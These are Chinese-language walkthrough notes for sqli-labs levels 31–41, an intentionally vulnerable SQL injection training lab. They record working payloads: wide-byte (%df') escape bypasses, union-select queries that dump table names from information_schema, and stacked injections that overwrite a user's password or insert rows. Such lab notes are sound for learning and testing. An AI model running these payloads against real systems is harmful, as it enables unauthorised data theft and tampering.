Sql-labs 第31 - 41关 通过笔记

第31关
通过 ?id=1")
?id=1"):%00
发现页面数据不一样,说明可能为")闭合
?id=1') order by 4 ;%00
页面出现问题
发现还是跟 less-1 差不多，就是用 ")闭合而已
（百度发现是搭配waf？？？？？)

第32关
试了下很多种闭合方式，页面都没变化！
只好去看源码了，发现 \\ ,\ 吧 ‘ ” 转义了，可能为宽字节注入
?id=-1%df’  发现页面不一样了
输入
?id=-1%df’;%00 发现页面正常
说明就是可以宽字节注入
试试报错
?id=-1%df%27%20union%20select%201,2,3;%00
成功！
?id=-1%df%27%20union%20select%201,2,database();%00
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';%00
发现没用，试试吧'security' 换成 database（）
发现页面回显，为security的问题，试试16进制编码
0x7365637572697479
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479;%00
成功爆出

第33关
用半自动化闭合脚本扫一下
发现 只有 %df'可以,应该也是宽字节注入
其他32关差不多
发现 xpath 也可以

第34关
先用 admin
admin
登录，发现有回显，抓包看看
发现有 uname 和 passwd ，应该可能为注入点，试试
uname=admin' 发现出现了/，转义了，试试宽字节注入
uname=admin%df'
 发现页面出错，就是宽字节了
uname=admin%df' union select 1,2--+发现爆出，其他就跟32关差不多

第35关
发现是数字型？？
直接注入
?id=-1 union select 1,2,3
爆了？？
最后真的是数字型。。

第36关
用半自动化闭合脚本扫一下
发现是 %df' 闭合，宽字节咯
?id=1%df' --+
?id=1%df' order by 3 --+
?id=-1%df' union select 1,2,3--+
发现回显，其他都差不多，就是名字啥的用hex编码
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
。。

第37关
发现是 post 的宽字节
跟36差不多

第38关
堆叠注入
先看闭合，为 '
;update users set password='123444444' where username='Dumb' --+

第39关
判断为数字型
堆叠注入
;insert users value(26,Sun,1234)
id=26，成功注入

第40关
没用报错信息
但是页面不一样，可以作为判断闭合依据
发现 ') 闭合
堆叠注入
;update users set password='Dumb' where username='Dumb' --+
更新了！

第41关
跟40关基本一样